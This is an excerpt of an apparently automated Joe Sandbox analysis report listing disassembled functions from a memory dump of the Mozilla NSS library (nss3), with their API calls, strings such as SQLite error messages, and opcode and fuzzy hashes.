Part of subcall function 6C678680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C678700

PR_NewMonitor.NSS3(?,6C6BAA9B,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B687D

Part of subcall function 6C611770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6118DE
Part of subcall function 6C611770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6118F1

PR_NewMonitor.NSS3(?,6C6BAA9B,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B688C

Part of subcall function 6C611770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6118FC
Part of subcall function 6C611770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C61198A

PR_NewLock.NSS3 ref: 6C6B68A5

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewLock.NSS3 ref: 6C6B68B4

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: e1e359613ad834a017fc91f1cf3b38acf6efe6042a5a1ab27d59dab8bc4b80f2
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 59014BB4A05B0746E7566B7948143E776E89F0238DF10093F846AD6B50EF30D418CBBD

Function 6C60AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C60AFDA

Strings

misuse, xrefs: 6C60AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C60AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C60AFC4
%s at line %d of [%.10s], xrefs: 6C60AFD3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ddd97bd0db864b951b0c8d6c1a7751123dbfda165390ef3b19bfa7aab357b12a
Instruction ID: 897885d847de61d295aa20548500513b60c6cc50b5dd2bb44fad4dea6d6dfbc7
Opcode Fuzzy Hash: ddd97bd0db864b951b0c8d6c1a7751123dbfda165390ef3b19bfa7aab357b12a
Instruction Fuzzy Hash: E891E371B012158FDB08CF69CA54AAEB7F1BF85354F1985A8E865BB752C330ED02CB64

Function 6C66FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C66FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C66FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C66FDDE

Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,6C68085A,00000000,?,6C628369,?), ref: 6C678821
Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,?,6C68085A,00000000,?,6C628369,?), ref: 6C67883D
Part of subcall function 6C678800: EnterCriticalSection.KERNEL32(?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678856
Part of subcall function 6C678800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C678887
Part of subcall function 6C678800: PR_Unlock.NSS3(?,?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678899

Strings

pkcs11:, xrefs: 6C66FC4F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: a262fe75f307f94c97babad550b09e81d0eecd6b6e29a7d73a07a78f1848b0a1
Instruction ID: fb62aca66c14557af1291408cd0a208cd0bd98a10332ccfe9cb832dd9f69ba66
Opcode Fuzzy Hash: a262fe75f307f94c97babad550b09e81d0eecd6b6e29a7d73a07a78f1848b0a1
Instruction Fuzzy Hash: 3151E1B1A05111ABEB108F6ADC40B9A33B5AF4635CF240425DD196BF52EB30F904CBAF

Function 6C5B4AC0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6C5B4C2B

Strings

winWrite1, xrefs: 6C5B4BC2
Psl, xrefs: 6C5B4B8D
winWrite2, xrefs: 6C5B4C01
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5B4C24

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: Psl$delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-3577105619
Opcode ID: 3953cc32f15bbe76aef52705c1cbdd8cad1597f86ff33f87fc7670446a139a9b
Instruction ID: 20150a4519c5ccaf63d017f00c1a44e73561689b0c0e5944ed03360a5b2f9883
Opcode Fuzzy Hash: 3953cc32f15bbe76aef52705c1cbdd8cad1597f86ff33f87fc7670446a139a9b
Instruction Fuzzy Hash: 7D41C2716043059BDB14CF19CC60A9BBBE9FFC5354F108A29F95497790E730D9058B91

Function 6C6349C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 6C634860: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C634894

PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C636361,?,?,?), ref: 6C634A8F
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C636361,?,?,?), ref: 6C634AD0

Strings

accl, xrefs: 6C6349FB
^jcl, xrefs: 6C6349C5
accl, xrefs: 6C634AB4

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$DecodeItem_QuickUtil
String ID: ^jcl$accl$accl
API String ID: 1982233058-1840877605
Opcode ID: 506417f987eb0c745f96094b8a4e3cd145dc61a3b26a3f5577fb939e886fa688
Instruction ID: 412069e7080e7b880077ec7057cd289cc96b1ad0828309138143a8788936d183
Opcode Fuzzy Hash: 506417f987eb0c745f96094b8a4e3cd145dc61a3b26a3f5577fb939e886fa688
Instruction Fuzzy Hash: D5310A30A0412597EB108A48DC907BEFA25DB82308F203A3AD51DF7BC9C6769841879E

Function 6C696DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C696E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C696E57

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C696E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C696EAA

Strings

nsl, xrefs: 6C696DF9

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nsl
API String ID: 3163584228-3778653006
Opcode ID: a7c31e4d418993d61747044087fa479959d68ba4b31a00d7ca34828bcfbdc9da
Instruction ID: 8517ae925b021a0884b5f7009928a9eaabe00ab4f3f0aa83381b780e0547eea8
Opcode Fuzzy Hash: a7c31e4d418993d61747044087fa479959d68ba4b31a00d7ca34828bcfbdc9da
Instruction Fuzzy Hash: 2331C371619713EFDF941E34CD04396B7A4AB0631AF24063DD59AD6A80E730E855CBC9

Function 6C6CA8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C6B2AE9,00000000,0000065C), ref: 6C6CA91D

Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
Part of subcall function 6C66ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
Part of subcall function 6C66ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
Part of subcall function 6C66ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C6B2AE9,00000000,0000065C), ref: 6C6CA934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C6B2AE9,00000000,0000065C), ref: 6C6CA949
free.MOZGLUE(?,00000000,0000065C), ref: 6C6CA952

Strings

*kl, xrefs: 6C6CA8F6

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *kl
API String ID: 1595327144-3699924319
Opcode ID: 68fdec7b8f74a84d9b1a22375be5f569e72f013bfb5b5e2c8db4f0edc571f32a
Instruction ID: 83ce9071c1c2cfd550f6de23276bc2989646819edb830e2cf7cea7aa9de913a4
Opcode Fuzzy Hash: 68fdec7b8f74a84d9b1a22375be5f569e72f013bfb5b5e2c8db4f0edc571f32a
Instruction Fuzzy Hash: 863139B4601211DFDB04CF19D981E62B7E8FF49359B1582A9E8098B756E730E810CBA6

Function 6C6FA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C5C7915,?,?), ref: 6C6FA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C5C7915,?,?), ref: 6C6FA8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6FA891
database corruption, xrefs: 6C6FA89B
%s at line %d of [%.10s], xrefs: 6C6FA8A0

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e87bfe999f5d795861a59e10ff97d11fb08249e0f4dcc391568c1fcd0e8167bb
Instruction ID: c32c1a3be30bb8b6c3f645f518f646ecb6cd82494804059d09ba563ba2a639e7
Opcode Fuzzy Hash: e87bfe999f5d795861a59e10ff97d11fb08249e0f4dcc391568c1fcd0e8167bb
Instruction Fuzzy Hash: 24112971A00218AFD7048F11DC51AAEB7A6FF89314F104439FC294BB41EB70ED16C79A

Function 6C65CAA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C63B1EE,D958E836,?,6C6751C5), ref: 6C65CAFA
PR_UnloadLibrary.NSS3(?,6C6751C5), ref: 6C65CB09
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C63B1EE,D958E836,?,6C6751C5), ref: 6C65CB2C
PR_UnloadLibrary.NSS3(6C6751C5), ref: 6C65CB3E

Strings

NSS_DISABLE_UNLOAD, xrefs: 6C65CAF5, 6C65CB27

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LibrarySecureUnload
String ID: NSS_DISABLE_UNLOAD
API String ID: 4190191112-1204168554
Opcode ID: 81d3396b300f530bc6a9b13c0b0fdaa70c53dacb75c8dda3adeeca474051aff9
Instruction ID: 35e520ddcedc369bdbb066710d42b17906002208b312298580407ca3268b031d
Opcode Fuzzy Hash: 81d3396b300f530bc6a9b13c0b0fdaa70c53dacb75c8dda3adeeca474051aff9
Instruction Fuzzy Hash: 8A11DAB1F05A11ABD704EB29D84874176B4FB0A74EF74413ADA0682D40E770E5A4CBDE

Function 6C610DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C610BDE), ref: 6C610DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C610BDE), ref: 6C610DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C610BDE), ref: 6C610DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C610BDE), ref: 6C610E32

Strings

%s incr => %d (find lib), xrefs: 6C610E2D

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2fb34e5ae917f0cfb35e1f1af203ad3ca2360985c70434d4ed0fe75e72c5d840
Instruction ID: dd033d16901376684bb731de55aa1a74a93e2ef8ebe8d0a1f64fcfd810a32a12
Opcode Fuzzy Hash: 2fb34e5ae917f0cfb35e1f1af203ad3ca2360985c70434d4ed0fe75e72c5d840
Instruction Fuzzy Hash: 14012472B042249FEA208F2A8C49E5773FCDB46B0AB05443DE949D3A42E761EC2587E1

Function 6C651CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C651CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C651CF1

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

Strings

pInitArgs = 0x%p, xrefs: 6C651CEC
C_Initialize, xrefs: 6C651CD3
nsl, xrefs: 6C651D09, 6C651D30

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nsl
API String ID: 1907330108-591192543
Opcode ID: 0a7e07919b052a1100b48d0de537f63eeab460fbf33b106ec031f07007203822
Instruction ID: 2e4e40b2a7122dfde218d012ffef32f858894117b62d5eb6789a6150a953477e
Opcode Fuzzy Hash: 0a7e07919b052a1100b48d0de537f63eeab460fbf33b106ec031f07007203822
Instruction Fuzzy Hash: 9F01CC357021409FCF009F28D94DB5537B5AB8331AF784034EA08C2A11EF34D869C796

Function 6C6CAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC2D

Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
Part of subcall function 6C66ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
Part of subcall function 6C66ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
Part of subcall function 6C66ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9

PK11_FreeSymKey.NSS3(?,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC59
free.MOZGLUE(8CB6FF01,6C6A6AC6,?,?,?,?,?,?,?,?,?,?,6C6B5D40,00000000,?,6C6BAAD4), ref: 6C6CAC62

Strings

@]kl, xrefs: 6C6CAC05

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]kl
API String ID: 1595327144-473540061
Opcode ID: 70847310082a8c468020e9497dcc2481838b0e2529d5d6851fa4096560385233
Instruction ID: b5f24f2cfdf24ca0eb1d67c14f58e081058794a38bab1cce40c482c399a07c6e
Opcode Fuzzy Hash: 70847310082a8c468020e9497dcc2481838b0e2529d5d6851fa4096560385233
Instruction Fuzzy Hash: 330178B56002149BDB00CF15E8C0B5677A8EB05B59F1880A8E94A8FB06D730E808CBAA

Function 6C5A2940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5A1360,00000000), ref: 6C5A2A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6C5A1360,00000000), ref: 6C5A2A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C5A2A7C

Part of subcall function 6C5A2D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,2047C135,?,?,00000000,?,6C5A296E), ref: 6C5A2DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A2AF3
